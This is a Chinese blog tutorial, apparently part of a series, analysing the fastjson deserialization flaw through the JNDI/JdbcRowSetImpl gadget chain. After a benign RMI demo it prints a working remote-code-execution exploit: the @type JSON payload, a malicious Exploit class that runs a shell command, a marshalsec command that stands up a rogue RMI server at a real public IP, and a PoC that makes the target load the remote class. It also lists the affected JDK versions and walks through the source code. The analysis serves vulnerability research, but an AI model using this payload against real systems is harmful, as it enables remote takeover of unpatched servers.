从0开始fastjson漏洞分析2
从0开始fastjson漏洞分析https://www.cnblogs.com/piaomiaohongchen/p/14777856.html
有了前文铺垫,可以说对fastjson内部机制和fastjson的反序列化处理已经了然于心
大致流程如下,简单说下:当调用Parse的时候,会先搜索@type,然后通过JSONSCanner判断用户的json输入,判断开头是否是{和",然后获取我们的输入@type类,通过JSONSCannerSymbool去解析,获取我们@type的值,使用集合的方式存储这个恶意类(就是我们@type的值),对恶意类序列化,反序列化,通过反射调用类中所有方法(get/set)和类中的属性,把获取到的方法进行处理,对获取到的属性进行序列化和反序列化,并使用集合封装处理.判断是否是set开头的方法,如果是,把set**后面的字段序列化然后反序列化.比如我们的bytecodes,对我们的输入解码,那么我们的输入就是编码
不鸡肋的利用链:JNDI && JdbcRowSetImpl利⽤链
先学习jndi:
jdni具体含义:
JNDI 即Java Naming and Directory Interface(JAVA 命名和目录接口),那么Java 命名的目的就是为了记录一些不方便记录的内容,就像DNS 中的域名与IP 的关系,存在一一对应的关系。
JNDI 被定义为独立于任何特定的目录服务实现。因此,可以以通用方式访问各种目录。
jndi一个实际场景就是spring boot下的数据库连接池子:
通过远程调用,其底层原理就是使用的jndi.
JNDI架构:
其中在fastjson漏洞利用中,最常用的就是ldap和rmi了. 即使是一点都不懂漏洞原理的,相信在打fastjson漏洞的时候也会遇到这两个协议
他们的具体含义是:
轻型目录访问协议(LDAP )。
Java远程方法调用(RMI )注册表。
我们以rmi为例,写一段demo:
rmi的目的很简单:就是要使运行在不同的计算机中的对象之间的调用表现得像本地调用一样。
远程接口定义:
IRemoteTest.java
package com.test.fastjson.jndi; import java.rmi.Remote; import java.rmi.RemoteException; //必须继承Remote类型,必须抛出异常 public interface IRemoteTest extends Remote { public String test() throws RemoteException; }
接口实现类:
IRemoteTestImpl.java
package com.test.fastjson.jndi; import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; //远程接口实现 public class IRemoteTestImpl extends UnicastRemoteObject implements IRemoteTest { protected IRemoteTestImpl() throws RemoteException { super(); } @Override public String test() throws RemoteException { return Thread.currentThread().getStackTrace() [1].getMethodName()+"被远程调用了"; } }
编写服务端绑定:
Server.java
package com.test.fastjson.jndi; import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; import java.rmi.Naming; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; //服务端绑定 public class Server { IRemoteTest iRemoteTest; public void server() throws RemoteException, AlreadyBoundException, MalformedURLException { iRemoteTest = new IRemoteTestImpl(); //远程对象注册表实例 LocateRegistry.createRegistry(6666); //把远程对象注册到RMI注册服务器上 Naming.bind("rmi://127.0.0.1:6666/test",iRemoteTest); System.out.println("server绑定成功"); } }
编写客户端,调用远程对象:
Client.java:
package com.test.fastjson.jndi; import java.net.MalformedURLException; import java.rmi.Naming; import java.rmi.NotBoundException; import java.rmi.RemoteException; //客户端调用服务端声明的对象 public class Client { public IRemoteTest iRemoteTest; public void client() throws RemoteException, NotBoundException, MalformedURLException { //在RMI注册表中查找指定对象 iRemoteTest = (IRemoteTest) Naming.lookup("rmi://127.0.0.1:6666/test"); //调用远程对象方法 System.out.println("client:"); System.out.println(iRemoteTest.test()); } }
编写测试类:
package com.test.fastjson.jndi; import org.junit.Test; import java.net.MalformedURLException; import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; public class RMITest { @Test public void testServer() throws MalformedURLException, RemoteException, AlreadyBoundException { Server server = new Server(); server.server(); while(true); } @Test public void testClient() throws RemoteException, NotBoundException, MalformedURLException { Client client = new Client(); client.client(); } }
先调用服务端,然后客户端远程调用方法:
启动客户端:
了解了rmi后,我们来看下JNDI && JdbcRowSetImpl利⽤链
exp如下:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://vps_ip/Exploit", "autoCommit":true}
其中看见使用rmi,看到Exploit,通过前面的rmi学习,可以知道Exploit就是我们远程对象Exploit,我们远程调用Exploit类对象:
通过前面学习rmi,我们可以模拟服务端,但是很多时候很麻烦,这里借助前辈的工具:快速搭建恶意rmi/ldap服务端:
marshalsec, RMI / LDAP 恶意服务器快速搭建⼯具,下载地址:https://github.com/mbechler/marshalsec
写个恶意类:
先生成恶意类字节码:
javac Exploit生成class字节码
Exploit.java->javac Exploit.java ->Exploit.class:
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.io.IOException; import java.io.Serializable; import java.util.Hashtable; public class Exploit implements ObjectFactory, Serializable { public Exploit(){ try{ Runtime.getRuntime().exec("open /System/Applications/Calculator.app"); }catch (IOException e){ e.printStackTrace(); } } public static void main(String[] args){ Exploit exploit = new Exploit(); } @Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null; } }
快速搭建rmi/ldap服务器:
java -cp marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://119.45.227.86/#Exploit
这样就会生成服务端的监听,等待接收客户端的调用:
rmi默认端口1099,可以自定义设置端口:
在末尾加端口即可:
客户端调用服务端:
Exploit:
package com.test.fastjson.Exploit_chain2; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; public class ExploitPoc { public static void main(String[] args) { String poc ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://119.45.227.86:123:7777/Exploit\",\"autoCommit\":true}"; JSON.parse(poc); } }
即可实现命令执行,可能部分人无法复测成功,因为ldap/rmi受限于jdk版本限制:
ldap适用 JDK11.0.1/8u191/7u201/6u211之前,rmi适用JDK8u113/7u122/6u132之前
前面开头我们简单的讲解了下fastjson反序列化的流程,现在我们静态调试分析下:
首先反射进入JdbcRowSetImpl或者debug Parse函数:
查看定义的属性:
private Connection conn; private PreparedStatement ps; private ResultSet rs; private RowSetMetaDataImpl rowsMD; private ResultSetMetaData resMD; private Vector<Integer> iMatchColumns; private Vector<String> strMatchColumns; protected transient JdbcRowSetResourceBundle resBundle;
查看set和get方法:
有对应的get和set方法,所以不需要Feature.SupportNonPublicField
根据exp看看datasource属性:
设置datasource:
对datasource进行赋值:
接着调用setAutoCommit:
一定要让conn为null,所以exp里面没设置conn,为null才能触发else条件,走else条件会调用connent方法和设置autocommit:
跟进this.connect():
当前对象方法,那么就在这个类里面:
重点:
databasesoucrename可以外部定义!
通过lookup远程查找,调用恶意类,从而实现rce,就是这么简单